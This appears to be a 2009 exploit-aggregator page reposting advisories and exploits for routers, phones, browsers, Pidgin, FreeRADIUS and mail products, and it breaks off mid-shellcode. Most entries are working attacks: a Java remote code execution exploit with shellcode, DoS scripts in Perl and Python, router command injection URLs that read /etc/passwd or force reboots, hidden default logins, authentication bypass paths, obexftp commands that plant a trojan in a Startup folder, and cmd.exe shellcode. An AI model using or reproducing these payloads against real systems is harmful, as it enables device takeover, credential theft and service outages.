Vulnerabilities

Palm Pre Webos Version <= 1.1 Floating Point Exception

Tue, 10 Nov 2009 07:56:26 +0000

I.  Description 

The Palm Pre WebOS version <= 1.1 suffers from a floating point exception vulnerability when 
attempting to view a specially crafted web page. This vulnerability has been addressed in the latest 
patch from Palm and all users are recommended to update to WebOS version 1.2+. 

II.  Impact 

If a user views a malicious web page that contains specially crafted data, the "LunaSysMgr" process 
will crash, causing the device to simulate a reboot.  The bug itself is a floating point exception 
that crashes the "LunaSysMgr" process and forces the device to restart the process, simulating a 
reboot of the system.  At the time of the discovery, the greatest risk to the system was a denial of 
service condition. 

The crash does not occur when viewing the malicious web page while in landscape mode. 

III. Proof of Concept 

The Palm Pre WebOS version <= 1.1 will crash upon opening a web page that contains 50,280 bytes of 
data or greater and attempts to refresh the page.  Upon viewing the malicious web page the 
LunaSysMgr process will generate a floating point exception and simulate a system "reboot". 

The following code will trigger the issue 

"AAAAA..." using 50280 or more characters after the refresh. 

IV. About 

This vulnerability was discovered by Townsend Ladd Harris  

Vulnerability details will be posted at: 
http://tlhsecurity.blogspot.com/2009/10/palm-pre-webos-version-11-floating.html

3Com Officeconnect Firewall/router Multiple Remote Vulnerabilities

Tue, 10 Nov 2009 07:53:36 +0000

************************************************************** 
Product: 3Com OfficeConnect Firewall/Router 
Website: http://www.3com.com/ 
Discovered By: Andrea Fabrizi 
Email: andrea.fabrizi@gmail.com 
Web: http://www.andreafabrizi.it 
Vuln: remote command execution and password disclosure 
************************************************************** 

####### Admin password disclosure ####### 

1) SSH/Telnet to router using one of these hidden accounts: 
  support:support 
  user:5 
  nobody:admin 
2) Type 9 
3) Type 1 
3) Type 3 to dump the configuration 
4) Locate the sysPassword field: 
    
5) Decode the admin password: 
  roland@hp6720s:~$ echo -ne "cXdlcnR5Cg==" | base64 -d 
  qwerty 


####### Remote command execution  ####### 

http://1.2.3.4/utility.cgi?testType=1&IP=aaa || cat /etc/passwd 

To see the command output you need to log into the router, however the 
command is executed even the user is not logged in, so if you don't 
have access to the device a DOS is also possible: 

http://1.2.3.4/utility.cgi?testType=1&IP=aaa || reboot

Emc Replistor Server (Rep_Serv.exe) 6.3.1.3 Remote Dos

Tue, 10 Nov 2009 07:51:37 +0000



original url: http://retrogod.altervista.org/9sg_emc_repli_crash.html

Websense Email Security Web Administrator Dos

Tue, 10 Nov 2009 07:50:27 +0000

Advisory ID:            NSOADV-2009-002 
 Found Date:             28.09.2009 
 Date Reported:          01.10.2009 
 Release Date:           20.10.2009 
 Author:                 Nikolas Sotiriu 
 Mail:                   nso-research (at) sotiriu.de 
 URL:                    http://sotiriu.de/adv/NSOADV-2009-002.txt 
 Vendor:                 Websense (http://www.websense.com/) 
 Affected Products:      Websense Email Security v7.1 
                         Personal Email Manager v7.1 
 Not Affected Products:  Websense Email Security v7.1 Hotfix 4 
                         Personal Email Manager v7.1 Hotfix 4 
 Remote Exploitable:     Yes 
 Local Exploitable:      Yes 
 Patch Status:           Patched with Hotfix 4 
 Disclosure Policy:      http://sotiriu.de/policy.html 
 Thanks to:              Thierry Zoller: for the permission to use his 
                                         Policy 



Background: 
=========== 

Websense Email Security software incorporates multiple layers of 
real-time Web security and data security intelligence to provide 
leading email protection from converged email and Web 2.0 threats. 
It helps to manage outbound data leaks and compliance risk, and enables 
a consolidated security strategy with the trusted leader in Essential 
Information Protection. 

(Product description from Websense Website) 

The Websense Email Security Web Administrator is a webfrontend, which 
enables you to access the message administration, directory management 
and to view the log. 



Description: 
============ 

The Web Administrator frontend (STEMWADM.EXE) listens by default on port 
TCP/8181. 

If an attacker sends a HTTP Request to port 8181 without waiting for a 
response the webserver crashes. The proof of concept script just sends 
a "GET /index.asp" and closes the socket. The server can not response 
to the request anymore and dies. 

By default the service will always restart after a crash. So the poc 
will send the request until it will be stopped. 



Proof of Concept : 
================== 

#!/usr/bin/perl 
use Socket; 

(($target = $ARGV[0]) && ($port = $ARGV[1])) || die "Usage: $0 ", 
"  \n"; 

print "\nThe Webserver on http://$target:$port should be dead until", 
"this script is running\n"; 

while (1) { 
$ip = inet_aton($target) || die "host($target) not found.\n"; 
$sockaddr = pack_sockaddr_in($port, $ip); 
socket(SOCKET, PF_INET, SOCK_STREAM, 0) || die "socket error.\n"; 

connect(SOCKET, $sockaddr) || die "connect $target $port error.\n"; 

print SOCKET "GET /index.asp"; 
print "Request sent ...\n"; 

close(SOCKET); 

sleep 1; 

};

Everfocus Edr1600 Remote Authentication Bypass

Tue, 10 Nov 2009 07:48:42 +0000

************************************************************** 
Product: [b]Everfocus EDR1600[/b] 
Version affected: all 
Website: http://www.everfocus.com/ 
Discovered By: Andrea Fabrizi 
Email: andrea.fabrizi@gmail.com 
Web: http://www.andreafabrizi.it 
Vuln: remote DVR authentication bypass 
************************************************************** 

The EDR1600 firmware don't handle correctly users authentication and sessions. 

This exploit let you to connect to every remote DVR (without username 
and password) and see the live cams :) 

Exploit: http://www.andreafabrizi.it/files/EverFocus_edr1600_Exploit.tar.gz

2Wire Remote Denial Of Service

Tue, 10 Nov 2009 07:45:21 +0000

======================================== 
              2WIRE REMOTE DENIAL OF SERVICE 
        ======================================== 


Device:      2wire Gateway Router/Modem 
Vulnerable Software:   =< 5.29.52 
Vulnerable Models:   1700HG 
        1701HG 
        1800HW 
        2071 
        2700HG 
        2701HG-T 
Release Date:    2009-10-29 
Last Update:    2009-09 
Critical:    Moderately critical 
Impact:    Denial of service 
     Remote router reboot 
Where:      From remote 
     In the remote management interface 
Solution Status:   Vendor issued firmware patches 
        Providers are in charge of applying the patches 
WebVuln Advisory:   1-003 


 BACKGROUND 
======================= 

The remote management interface of some 2wire modems is enabled by 
default. 
This interface runs over SSL on port 50001 with an untrusted issuer 
certificate. 

++Espanol 
Algunos modems 2wire tienen la interfaz remota habilitada por default. 
La interfaz utiliza SSL con un certificado invalido en el puerto 50001. 


  DESCRIPTION 
======================= 

Some 2wire modems are vulnerable to a remote denial of service attack. 
By requesting a special url from the Remote Management interface, an 
unathenticated 
user can remotely reboot the complete device. 

++ 
Algunos modems 2wire son vulnerables a un ataque de denegacion de 
servicio. 
Un usuario no autenticado puede reiniciar el dispositivo enviando una 
peticion a 
la interfaz de Administracion remota. 


 EXPLOIT / POC 
======================= 

https://:50001/xslt?page=%0d%0a 


 WORKAROUND 
======================= 

Disable Remote Management in Firewall -> Advanced Settings. 

++ 
Deshabilitar Administracion remota en Cortafuegos -> Configuracion 
avanzada 


  DISCLOSURE TIMELINE 
======================= 

2009/09/06 - Vulnerability discovered 
2009/09/08 - Vendor contacted 


                 ======================= 

                          h k m 
                       hkm@hakim.ws

Safari 4.0.3 (Win32) Css Remote Denial Of Service Exploit

Tue, 10 Nov 2009 07:38:08 +0000

#!/usr/bin/perl
# ithinkthereforeiexist.pl
# AKA
# Safari 4.0.3 (Win32) CSS Remote Denial of Service Exploit
#
# Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 11.09.2009
#
# *********************************************************************************************************
# Another remotely triggerable STACK_OVERFLOW in Safari on Windows...
#
# (204.72c): Stack overflow - code c00000fd (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=000333d8 ebx=000fbd16 ecx=00000000 edx=037b3fd0 esi=037b3fd0 edi=0001bfad
# eip=00ae19af esp=00032ea8 ebp=00032f28 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Safari\CoreFoundation.dll - 
# CoreFoundation!_CFStringEncodeByteStream+0x2d:
# 00ae19af 8365b800        and     dword ptr [ebp-48h],0 ss:0023:00032ee0=00000000
#
# A product of Browser Fuzzer 3 :)
#
# "We do it in the dark, with smiles on our faces"
#
# *********************************************************************************************************
# ithinkthereforeiexist.pl

$html = "ithinkthereforeiexist.html";
$css  = "ithinkthereforeiexist.css";

$size = 114600;

$htmldata = "\n\n\n\n";
$htmldata = $htmldata . "\n\n\n\n";

$cssdata = "#die\n{\nbackground: url(" . "A" x $size . ");\n}";

     open(FD, '>' . $html);
     print FD $htmldata;
     close(FD);

     open(FD, '>' . $css);
     print FD $cssdata;
     close(FD);

Quiksoft Easymail 6 (Addattachment) Remote Buffer Overflow Exploit

Tue, 10 Nov 2009 07:36:40 +0000


    <!--
      -- Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit
      -- 
      -- Its old and the latest version doesn't support this method. 
      -- I was bored and a similar post sparked my interest. 
      -- 
      -- Advisory: http://www.bmgsec.com.au/advisory/48/
      -- 
      -- Written by:
      -- bmgsec (bmgsec [at] gmail.com / www.bmgsec.com.au)
      --  -->
 Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit

Source: http://www.milw0rm.com/exploits/9705

Pidgin Msn <= 2.5.8 Remote Code Execution Exploit

Tue, 10 Nov 2009 07:35:29 +0000

/*
* Pidgin MSN <= 2.5.8 Remote Code Execution
*
* Pierre Nogues - pierz@hotmail.it
* http://www.indahax.com/
*
*
* Description:
*        Pidgin is a multi-protocol Instant Messenger.
*
*        This is an exploit for the vulnerability[1] discovered in Pidgin by core-security[2].
*        The library "libmsn" used by pidgin doesn't handle specially crafted MsnSlp packets
*        which could lead to memory corruption.
*
* Affected versions :
*        Pidgin <= 2.5.8, Adium and other IM using Pidgin-libpurple/libmsn library.
*
* Plateforms :
*        Windows, Linux, Mac
*
* Fix :
*        Fixed in Pidgin 2.5.9
*        Update to the latest version : http://www.pidgin.im/download/
*
* References :
*        [1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2694
*        [2] http://www.coresecurity.com/content/libpurple-arbitrary-write
*        [3] http://www.pidgin.im/news/security/?id=34
*
* Usage :
*        You need the Java MSN Messenger library : http://sourceforge.net/projects/java-jml/
*        javac.exe -cp "%classpath%;.\jml-1.0b3-full.jar" PidginExploit.java
*        java -cp "%classpath%;.\jml-1.0b3-full.jar" PdiginExploit YOUR_MSN_EMAIL YOUR_PASSWORD TARGET_MSN_EMAIL
*
*/

import net.sf.jml.*;
import net.sf.jml.event.*;
import net.sf.jml.impl.*;
import net.sf.jml.message.p2p.*;
import net.sf.jml.util.*;

public class PidginExploit {

   private MsnMessenger messenger;
   private String login;
   private String password;
   private String target;

   private int session_id = NumberUtils.getIntRandom();

   private byte shellcode[] = new byte[] {

           /*
            * if you use the stack in your shellcode do not forgot to change esp because eip == esp == kaboom !
            * sub esp,500
            */
               (byte) 0x81, (byte) 0xEC, (byte) 0x00, (byte) 0x05, (byte) 0x00, (byte) 0x00,


           /*
            * windows/exec - 121 bytes
            * http://www.metasploit.com
            * EXITFUNC=process, CMD=calc.exe
            */
               (byte) 0xfc, (byte) 0xe8, (byte) 0x44, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8b, (byte) 0x45,
               (byte) 0x3c, (byte) 0x8b, (byte) 0x7c, (byte) 0x05, (byte) 0x78, (byte) 0x01, (byte) 0xef, (byte) 0x8b,
               (byte) 0x4f, (byte) 0x18, (byte) 0x8b, (byte) 0x5f, (byte) 0x20, (byte) 0x01, (byte) 0xeb, (byte) 0x49,
               (byte) 0x8b, (byte) 0x34, (byte) 0x8b, (byte) 0x01, (byte) 0xee, (byte) 0x31, (byte) 0xc0, (byte) 0x99,
               (byte) 0xac, (byte) 0x84, (byte) 0xc0, (byte) 0x74, (byte) 0x07, (byte) 0xc1, (byte) 0xca, (byte) 0x0d,
               (byte) 0x01, (byte) 0xc2, (byte) 0xeb, (byte) 0xf4, (byte) 0x3b, (byte) 0x54, (byte) 0x24, (byte) 0x04,
               (byte) 0x75, (byte) 0xe5, (byte) 0x8b, (byte) 0x5f, (byte) 0x24, (byte) 0x01, (byte) 0xeb, (byte) 0x66,
               (byte) 0x8b, (byte) 0x0c, (byte) 0x4b, (byte) 0x8b, (byte) 0x5f, (byte) 0x1c, (byte) 0x01, (byte) 0xeb,
               (byte) 0x8b, (byte) 0x1c, (byte) 0x8b, (byte) 0x01, (byte) 0xeb, (byte) 0x89, (byte) 0x5c, (byte) 0x24,
               (byte) 0x04, (byte) 0xc3, (byte) 0x5f, (byte) 0x31, (byte) 0xf6, (byte) 0x60, (byte) 0x56, (byte) 0x64,
               (byte) 0x8b, (byte) 0x46, (byte) 0x30, (byte) 0x8b, (byte) 0x40, (byte) 0x0c, (byte) 0x8b, (byte) 0x70,
               (byte) 0x1c, (byte) 0xad, (byte) 0x8b, (byte) 0x68, (byte) 0x08, (byte) 0x89, (byte) 0xf8, (byte) 0x83,
               (byte) 0xc0, (byte) 0x6a, (byte) 0x50, (byte) 0x68, (byte) 0x7e, (byte) 0xd8, (byte) 0xe2, (byte) 0x73,
               (byte) 0x68, (byte) 0x98, (byte) 0xfe, (byte) 0x8a, (byte) 0x0e, (byte) 0x57, (byte) 0xff, (byte) 0xe7,
               (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65,
               (byte) 0x00
           };

   // reteip = pointer to the return address in the stack
   // The shellcode will be wrote just before reteip
   // and reteip will automaticly point to the shellcode. It's magic !
   private int reteip = 0x0022CFCC;    //stack on XP SP3-FR Pidgin 2.5.8

   private int neweip;
   private byte[] payload = new byte[shellcode.length + 4];
   private int totallength = reteip + 4;

   public static void main(String[] args) throws Exception {

       if(args.length != 3){
           System.out.println("PidginExploit YOUR_MSN_EMAIL YOUR_PASSWORD TARGET_MSN_EMAIL");
       }else{
           PidginExploit exploit = new PidginExploit(args[0],args[1],args[2]);
           exploit.start();
       }

   }

   public PidginExploit(String login, String password, String target){
       this.login = login;
       this.password = password;
       this.target = target;

       neweip = reteip - shellcode.length ;

       for(int i=0;i> 8);
       payload[shellcode.length + 2] = (byte)((neweip & 0x00FF0000) >> 16);
       payload[shellcode.length + 3] = (byte)((neweip & 0xFF000000) >> 24);
   }

   public void start() {
       messenger = MsnMessengerFactory.createMsnMessenger(login,password);
       messenger.getOwner().setInitStatus(MsnUserStatus.ONLINE);

       messenger.setLogIncoming(false);
       messenger.setLogOutgoing(false);

       initMessenger(messenger);
       messenger.login();
   }

   protected void initMessenger(MsnMessenger messenger) {

   messenger.addContactListListener(new MsnContactListAdapter() {

           public void contactListInitCompleted(MsnMessenger messenger) {

               final Object id = new Object();

               messenger.addSwitchboardListener(new MsnSwitchboardAdapter() {

                   public void switchboardStarted(MsnSwitchboard switchboard) {

                       if (id != switchboard.getAttachment())
                           return;

                       switchboard.inviteContact(Email.parseStr(target));
                   }

                   public void contactJoinSwitchboard(MsnSwitchboard switchboard, MsnContact contact) {
                       if (id != switchboard.getAttachment())
                           return;

                       MsnP2PSlpMessage msg = new MsnP2PSlpMessage();
                       msg.setIdentifier(NumberUtils.getIntRandom());
                       msg.setSessionId(session_id);
                       msg.setOffset(0);
                       msg.setTotalLength(totallength);
                       msg.setCurrentLength(totallength);

                       // This flag create a bogus MsnSlpPacket in pidgin memory with a buffer pointing to null
                       // We'll use this buffer to rewrite memory in the stack
                       msg.setFlag(0x1000020);

                       msg.setP2PDest(target);

                       switchboard.sendMessage(msg);

                       System.out.println("First packet sent, waiting for the ACK");

                   }

                   public void switchboardClosed(MsnSwitchboard switchboard) {
                       System.out.println("switchboardClosed");
                       switchboard.getMessenger().removeSwitchboardListener(this);
                   }

                   public void contactLeaveSwitchboard(MsnSwitchboard switchboard, MsnContact contact){
                       System.out.println("contactLeaveSwitchboard");
                   }
               });
               messenger.newSwitchboard(id);
           }
       });

       messenger.addMessageListener(new MsnMessageAdapter(){

           public void p2pMessageReceived(MsnSwitchboard switchboard,MsnP2PMessage message,MsnContact contact) {

               //We receive the ACK of our first packet with the ID of the new bogus packet
               message.getIdentifier();

               MsnP2PDataMessage msg = new MsnP2PDataMessage(session_id, message.getIdentifier(), neweip,
                       payload.length, payload, target);

               switchboard.sendMessage(msg);
               System.out.println("ACK received && Payload sent !");
               System.out.println("Exploit OK ! CTRL+C to quit");

           }
       });



       messenger.addMessengerListener(new MsnMessengerAdapter() {

           public void loginCompleted(MsnMessenger messenger) {
               System.out.println(messenger.getOwner().getEmail() + " login");
           }

           public void logout(MsnMessenger messenger) {
               System.out.println(messenger.getOwner().getEmail() + " logout");
           }

           public void exceptionCaught(MsnMessenger messenger,
                   Throwable throwable) {
               System.out.println("caught exception: " + throwable);
           }
       });

   }
}

Source: http://www.milw0rm.com/exploits/9615

Freeradius < 1.1.8 Remote Packet Of Death Exploit (Cve-2009-3111)

Tue, 10 Nov 2009 07:34:23 +0000

#!/usr/bin/env python
# FreeRadius Packet Of Death
# Matthew Gillespie 2009-09-11
# Requires RadiusAttr http://trac.secdev.org/scapy/attachment/ticket/92/radiuslib.py
# http://www.braindeadprojects.com/blog/what/freeradius-packet-of-death/

import sys
from scapy.all import IP,UDP,send,Radius,RadiusAttr

if len(sys.argv) != 2:
	print "Usage: radius_killer.py \n"
	sys.exit(1)

PoD=IP(dst=sys.argv[1])/UDP(sport=60422,dport=1812)/ \
	Radius(code=1,authenticator="\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99",id=180)/ \
	RadiusAttr(type=69,value="",len=2)

send(PoD)

Source: http://www.milw0rm.com/exploits/9642

Xerver Http Server 4.32 Remote Denial Of Service Vulnerability

Tue, 10 Nov 2009 07:33:11 +0000

#################################################################################
#                                                                   	     	#
# [b]Xerver HTTP Server <= v4.32 Remote Denial of Service[/b]	 		        #
# Found By:	Dr_IDE				                                #
# Download:	http://www.javascript.nu/xerver                          	#
# Tested On:	Windows XPSP3                                            	#
#                                                                        	#
#################################################################################

- Description -

Xerver v4.32 is a Windows based HTTP server. This is the latest version of
the application available.

Xerver v4.32 is vulnerable to a remote denial of service through following means.

Xerver ships with a web based configuration program, essentially making this DoS
remote if and when the Remote Setup is running.

The admin package runs on port 32123 and does not require any form of 
authentication to make changes to the server configuration.

- Bug -

If the HTTP Server port is set to any kind of letter combination, the server will
crash and be unable to be restarted unless the configuration file is manually
edited to remove the letters and put back to a number (ie. 80).

- Example -

1. http://172.16.2.101:32123/?action=wizardStep1
2. Enter anything in the port field, "Dr_IDE"
3. Click Save and Continue

- Results - 

The server will crash hard, and you will be unable to restart it. You must edit the 
configuration file, Xerver2.cfg and replace the first line of the file with a Port
number.

- Note - 

I tried to make this a possible XSS attack but I couldn't manage. Perhaps someone 
else can figure it out.

Methods and variables of interest for this attack:

SubmitForm()
document.myForm.portNR.value="80" # default, any letters here would kill the server

Netgear Dg632 Router Authentication Bypass Vulnerability

Thu, 23 Jul 2009 15:20:36 +0000

Netgear DG632 Router Authentication Bypass Vulnerability

Product Name: Netgear DG632 Router
Vendor: http://www.netgear.com
Date: 15 June, 2009
Author: tom@tomneaves.co.uk < tom@tomneaves.co.uk >
Original URL: http://www.tomneaves.co.uk/Netgear_DG632_Authentication_Bypass.txt
Discovered: 18 November, 2006
Disclosed: 15 June, 2009

I. DESCRIPTION

The Netgear DG632 router has a web interface which runs on port 80. 
This allows an admin to login and administer the device's settings. 
Authentication of this web interface is handled by a script called
"webcm" residing in "/cgi-bin/" which redirects to the relevant pages
depending on successful user authentication. Vulnerabilities in this
interface enable an attacker to access files and data without
authentication.

II. DETAILS

The "webcm" script handles user authentication and attempts to load
"indextop.htm" (via javascript below).  The "indextop.htm" page requires
authentication (HTTP Basic Authorization).

---




Loading file ...




---

If a valid password to the default "admin" user is supplied, the script
then continues to load the "indextop.htm" page and continues to load the
other frames based on a hidden field.  If user authentication is
unsuccessful, the user is returned back to "../cgi-bin/webcm".  It is
possible to bypass the "webcm" script and access specific files directly
without the need for authentication.

Normal use:
http://TARGET_IP/cgi-bin/webcm?nextpage=../html/stattbl.htm

This would ask for the user to authenticate and would refuse access to
this file if authentication details were not known.  All the script is
doing is making sure authentication is forced upon the user.  The same
"stattbl.htm" file can be accessed without having to provide any
authentication using the following URL:

http://TARGET_IP/html/stattbl.htm

Another example:
http://192.168.0.1/cgi-bin/webcm?nextpage=../html/modemmenu.htm  
(returns 401 - Forbidden)

Bypassing the "webcm" script:
http://192.168.0.1/html/modemmenu.htm
(returns 200 - OK)

In the example above (modemmenu.htm), the full source can be viewed
which discloses further directories and files within the javascript of
the page. A sample of files disclosed within modemmenu.htm and available
to download are:

/html/onload.htm
/html/form.css
/gateway/commands/saveconfig.html
/html/utility.js (full source)

There are many other files that are accessible by calling them directly
instead of going via the "webcm" script, the above are just a sample. In
addition, it is possible to specify paths to the "webcm" script as shown
below:

http://TARGET_IP/cgi-bin/webcm?nextpage=../../

This allows an attacker to enumerate what files and directories exist
within the www root directory and beyond by using 200, 403 and 404
errors as a guide.

Affected Versions: Firmware V3.4.0_ap (others unknown)

III. VENDOR RESPONSE

12 June, 2009 - Contacted vendor.
15 June, 2009 - Vendor responded.  Stated the DG632 is an end of life
product and is no longer supported in a production and development
sense, as such, there will be no further firmware releases to resolve
this issue.

IV. CREDIT

Discovered by Tom Neaves

Source: http://www.milw0rm.com/exploits/8963

Htc / Windows Mobile Obex Ftp Service Directory Traversal Vuln

Thu, 23 Jul 2009 15:19:11 +0000

HTC / Windows Mobile OBEX FTP Service Directory Traversal Vuln

I shall complete the information related to Bugtraq ID: 33359

Title: HTC / Windows Mobile OBEX FTP Service Directory Traversal
Author: Alberto Moreno Tablado
Vendor: HTC
Vulnerable Products:
- HTC devices running Windows Mobile 6
- HTC devices running Windows Mobile 6.1
Non vulnerable products:
- HTC devices running Windows Mobile 5.0
- Other vendors’ Windows Mobile devices
References: http://www.seguridadmobile.com/windows-mobile/windows-mobile-security/HTC-Windows-Mobile-OBEX-FTP-Service-Directory-Traversal.html

Summary:
HTC devices running Windows Mobile 6 and Windows Mobile 6.1 are prone to a directory traversal vulnerability in the Bluetooth OBEX FTP Service. Exploiting this issue allows a remote authenticated attacker to list arbitrary directories, and write or read arbitrary files, via a ../ in a pathname. This can be leveraged for code execution by writing to a Startup folder.

Description:
There exists a Directory Traversal vulnerability in the OBEX FTP Service in the Bluetooth Stack implemented in HTC devices running Windows Mobile 6 and Windows Mobile 6.1. The OBEX FTP server is located in \Windows\obexfile.dll. Microsoft states this is a 3rd party driver developed by HTC and installed on HTC devices running Windows Mobile, so the vulnerability only affects to this vendor specifically.

A remote attacker (who previously owned authentication and authorization rights) can use tools like ObexFTP or gnomevfs-ls from a Linux box to traverse to parent directories out of the default Bluetooth shared folder by using ../ or ..\\ marks.

The only requirement is that the attacker must have authentication and authorization privileges over Bluetooth. Pairing up with the remote device should be enough to get it; however, more sophisticated attacks, such as sniffing the Bluetooth pairing, linkkey cracking and BD_ADDR address spoofing, can be used in order to avoid this. Devices must have Bluetooth enabled and File Sharing over Bluetooth service active when the attack is performed. In case the attacker succeeded in getting the proper privileges, further actions will be transparent to the user.

The scope of the Directory Traversal vulnerability allows the attacker to traverse to parent directories out of the default Bluetooth shared folder by using ../ or ..\\ marks. This security flaw leads to browse folders located anywhere in the file system, download files contained in any folder as well as upload files to any folder.

A remote attacker who previously owned authentication and authorization rights over Bluetooth can perform three risky actions on the device:

1) Browse directories located out of the limits of the default shared folder

An attacker can discover the structure of the file system and access to any directory within it, including:
- The flash hard drive
- The external storage card
- The internal mass storage memory, included in specific HTC devices

2) Download files without permission

An attacker can download sensitive files located anywhere in the file system, such as:
- personal pictures and documents located in \My Documents or any other directory
- Contacts, Calendar & Tasks information located in \PIM.vol
- Temporary internet cache and cookies located in \Windows\Profiles\guest\
- emails located in \Windows\Messaging

gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l "../../Windows/Messaging"
Browsing 00:17:83:02:BA:3C ...
Channel: 4
Connecting...done
Receiving "../../Windows/Messaging"... Sending ".."... Sending ".."... Sending "Windows"... done

done
Disconnecting...done
gospel@gospel-shift:~/bluez$

3) Upload malicious files

An attacker can replace third party or system executable files with malicious files as well as upload trojans to any place in the filesystem, such as \Windows\Startup and, therefore, shall be executed the next time Windows Mobile inits.

gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -c "../../Windows/Startup" -p trojan.exe
Browsing 00:17:83:02:BA:3C ...
Channel: 4
Connecting...done
Sending ".."... Sending ".."... Sending "Windows"... Sending "Startup"... done
Sending "trojan.exe"...\done
Disconnecting...done
gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l "../../Windows/Startup"
Browsing 00:17:83:02:BA:3C ...
Channel: 4
Connecting...done
Receiving "../../Windows/Startup"... Sending ".."... Sending ".."... Sending "Windows"... done

done
Disconnecting...done
gospel@gospel-shift:~/bluez$

About affected and non affected products:
The following HTC devices are affected by this vulnerability:
- HTC devices running Windows Mobile 6 Professional
- HTC devices running Windows Mobile 6 Standard
- HTC devices running Windows Mobile 6.1 Professional
- HTC devices running Windows Mobile 6.1 Standard

You can find a list of tested HTC devices proved to be vulnerable at http://www.seguridadmobile.com/windows-mobile/windows-mobile-security/HTC-Windows-Mobile-OBEX-FTP-Service-Directory-Traversal.html#AffectedProducts

HTC devices running Windows Mobile 5.0 are not affected because the OBEX FTP service is not implemented in that OS version.

Other vendors’ Windows Mobile devices are not affected either: ASUS, Samsung, LG, ...

Vendor Status:
The vulnerability was first disclosed on 2009/01/19 as a whole Microsoft Bluetooth Stack issue in Windows Mobile 6 Professional. Subsequent tests proved that several Windows Mobile 6 Standard and Windows Mobile 6.1 Professional devices were also vulnerable. Microsoft was contacted on 2009/01/22 and this information was not made public because last mobile phones manufactured were vulnerable.

Further investigations proved that the issue is in a 3rd party driver installed by HTC, this vulnerability only affects to HTC devices and other vendors’ Windows Mobile devices are not affected.

HTC Europe has been contacted since 2009/02/09 and provided with all the details concerning on the exploitation of the flaw. However, no patches are known to be released for this security flaw.

Workaround:
This vulnerability is a zero-day threat. This means that all devices shipped up to date (July 2009) may be vulnerable.

Wait for proper vendor response and updates.

Do not accept pairing nor connection requests from unknown sources. Delete old entries in the paired devices list.

Alberto

Source: http://www.milw0rm.com/exploits/9117

Win32 Xp-Sp3 Beep And Exitprocess Shellcode 28 Bytes

Thu, 23 Jul 2009 15:17:16 +0000

win32 xp-sp3 beep and exitprocess shellcode 28 bytes

windows xp-sp3 beep and exitprocess shellcode
author Teo Manojlovic
contact teo.manojlovic@skole.hr

this shellcode is using API call "Beep" which is in kernel32.dll
adress of this API is 7C837A8Fh
adress of exitprocess is 7C81CAFAh

here is assembler code using Intel sintax and MASM32
-------------------- begin----------------
.386

.model flat, STDCALL

.data
 
 .code

start:

xor eax,eax

mov eax,7C837A8Fh ;putting address of beep call

push 200h ; frequency

push 200h ; lenght

call eax ; calling beep

xor eax,eax ; setting 0 to eax register

mov eax,7C81CAFAh ; putting address of exitprocess call

call eax ;calling exitprocess

end start

------------------------end-----------


if we disassemle this code with olly debugger we will get following



00401000 > $ 33C0           XOR EAX,EAX                              ; |
00401002   . B8 8F7A837C    MOV EAX,kernel32.Beep                    ; |
00401007   . 68 00040000    PUSH 400                                 ; |/Duration = 1024. ms
0040100C   . 68 00030000    PUSH 300                                 ; ||Frequency = 300 (768.)
00401011   . FFD0           CALL EAX                                 ; |\Beep
00401013   . 33C0           XOR EAX,EAX                              ; |
00401015   . B8 FACA817C    MOV EAX,kernel32.ExitProcess             ; |
0040101A   . FFD0           CALL EAX                                 ; \ExitProcess







and here is the shellcode

\x33\xC0\xB8\x8F\x7A\x83\x7C\x68\x00\x04\x00\x00\x68\x00\x03\x00\x00\xFF\xD0\x33\xC0\xB8\xFA\xCA\x81\x7C\xFF\xD0

Win32/xp Sp2 (En) Cmd.exe 23 Bytes

Thu, 23 Jul 2009 15:15:46 +0000

win32/xp sp2 (En) cmd.exe 23 bytes

/*
win32/xp sp2 (En) cmd.exe 23 bytes
Author : Mountassif Moad
A.K.A : Stack
Description : It's a 23 Byte Shellcode which Execute Cmd.exe Tested Under Windows Xp SP2 En

get the following if we disassemle this code compiled with olly debugger
 
00402000  > 8BEC             MOV EBP,ESP
00402002  . 68 65786520      PUSH 20657865
00402007  . 68 636D642E      PUSH 2E646D63
0040200C  . 8D45 F8          LEA EAX,DWORD PTR SS:[EBP-8]
0040200F  . 50               PUSH EAX
00402010  . B8 8D15867C      MOV EAX,kernel32.WinExec
00402015  . FFD0             CALL EAX
*/
#include 
unsigned char shellcode[] =
                        "\x8b\xec\x68\x65\x78\x65"
                        "\x20\x68\x63\x6d\x64\x2e"
                        "\x8d\x45\xf8\x50\xb8\x8D"
                        "\x15\x86\x7C\xff\xd0";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}

Source: http://www.milw0rm.com/shellcode/9188

Winmod 1.4 (.lst) Universal Buffer Overflow Exploit (Seh) #2

Thu, 23 Jul 2009 15:14:37 +0000

WINMOD 1.4 (.lst) Universal Buffer Overflow Exploit (SEH)

#!/usr/bin/python
#[*] Exploit     :      	WINMOD 1.4 (.lst) Universal Buffer Overflow Exploit (SEH)
#[*] Tested on :   		Xp sp2 fr
#[*] Original exploit :   	http://www.milw0rm.com/exploits/9221
#[*] By : 			Dz_Girl
#[*] Greets to : hisok4 (even if he doesn't know me) & all friends


# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41"
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x51\x32\x42\x42\x32\x41"
